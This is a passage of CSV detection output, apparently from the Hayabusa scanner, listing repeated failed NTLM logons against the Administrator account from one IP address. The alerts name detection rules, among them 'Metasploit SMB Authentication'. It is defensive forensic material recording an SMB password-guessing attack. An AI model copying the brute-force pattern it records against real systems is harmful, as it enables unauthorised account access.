Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.796 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ny5LCb1qOIUhxOPY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.796 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.840 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9jcDgzzqH26DjQ1k : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.840 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.885 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yil94cFkU6UP24SK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.885 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.927 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bkdVHF3vggCcuNdn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.927 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.964 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4dRRI2CS3aVIX4nX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:45.964 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.004 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: chDZq3VgxIE2mRb9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.004 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.046 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HLVvgMmqLXKZADON : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.046 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.080 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: i4avO2AJSlNb0IUL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.080 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.128 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Mdo5CvycGvGhn33y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.128 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.171 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: heJfjLl1vbX6lMjZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.171 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.209 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wOP1E6hd4Jtj4gob : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.209 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.248 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Xa7kMCNz0bEGTBqX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.248 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.293 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HSxTQ4HsZt2DeYVe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.293 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.341 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YxHpSQwFSV4hveVM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.341 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.372 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: n3OwzSPomxZLoCe6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.372 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.416 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: e9IfwDZIfYT6A50K : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.416 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.463 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JOf6DbRX4zlNqLdb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.463 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.508 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 00kXrnJNH40NyoYL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.508 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.549 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nsNHcb9pnpdRgeL7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.549 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.592 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ucMhgxMXy9Ch1jNm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.592 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.637 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Cfi3ZaLTECJgjM9x : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.637 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.680 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: usugjEEBHlhJvOyu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.680 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.720 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WQ1pM2CVLt5ITVD5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.720 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.746 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NIboW7hNljF3HPpk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.746 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.795 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rOk5W4rkSYRRw4xS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.795 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.858 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AJTfcwd8rnFc06iF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.858 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.930 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6sm415W5zkvjdnTV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.930 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.981 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KEiSbtlmW4ou1mc7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:46.981 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.012 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xWeZV5pHt94adwUy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.012 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.052 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5np7HeCPAFTDdTXJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.052 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.088 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gXbe2jEJVtwaQXlr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.088 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.134 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7hZFiUCJnaBdHcw4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.134 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.176 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: a71wyo41KV1ZoT7p : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.176 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.236 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ogB17WdeOiC19rqn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.236 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.286 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ANOLPWG12lkW39Ei : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.286 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.332 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Y1vf7OUxb6TH3Q4H : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.332 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.368 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bxU5yumSieUzSgzH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.368 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.401 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v9K5EoWWASU8SlSe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.401 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.445 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PwZLRPFxaFWwjZEe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.445 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.500 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8fXgFFb3HTMunsoi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.500 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.549 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: R1RozAr1uhux4cYW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.549 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.586 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: n7EmuUSv03RnhKsF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.586 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.629 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jw410HEW8EC3MC9f : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.629 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.680 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UTYp8cEbt3Yggo3J : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.680 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.727 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yWJVzgYLWIo7SGCZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.727 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.773 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DP13jPdW5Gdl8z56 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.773 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.813 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LNXOWjHmMDhfFVon : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:47.813 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 